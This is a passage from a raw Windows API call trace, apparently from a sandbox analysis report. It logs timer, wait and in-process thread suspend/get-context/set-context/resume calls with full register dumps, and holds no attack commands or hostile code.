(Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.850] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x7520) returned 0x0 [0174.930] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.930] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.941] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.941] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0174.989] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.989] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.004] timeEndPeriod (uPeriod=0x1) returned 0x0 [0175.004] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x7510) returned 0x0 [0175.053] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0175.053] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.070] timeEndPeriod (uPeriod=0x1) returned 0x0 [0175.070] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0175.154] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0175.154] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.162] timeEndPeriod (uPeriod=0x1) returned 0x0 [0175.162] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x7520) returned 0x0 [0175.250] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0175.251] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.261] timeEndPeriod (uPeriod=0x1) returned 0x0 [0175.261] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0175.264] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0175.265] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.384] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x208) returned 1 [0175.385] SuspendThread (hThread=0x208) returned 0x0 [0175.385] GetThreadContext (in: hThread=0x208, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ec90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fcac400, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.388] SetThreadContext (hThread=0x208, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ec88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.395] ResumeThread (hThread=0x208) returned 0x1 [0175.395] CloseHandle (hObject=0x208) returned 1 [0175.395] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.523] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.641] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x208) returned 1 [0175.641] SuspendThread (hThread=0x208) returned 0x0 [0175.642] GetThreadContext (in: hThread=0x208, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ebe8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fbb1700, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.674] SetThreadContext (hThread=0x208, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ebe0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.678] ResumeThread (hThread=0x208) returned 0x1 [0175.678] CloseHandle (hObject=0x208) returned 1 [0175.678] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.896] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0175.927] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x208) returned 1 [0175.927] SuspendThread (hThread=0x208) returned 0x0 [0175.928] GetThreadContext (in: hThread=0x208, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ea10, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8181e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, 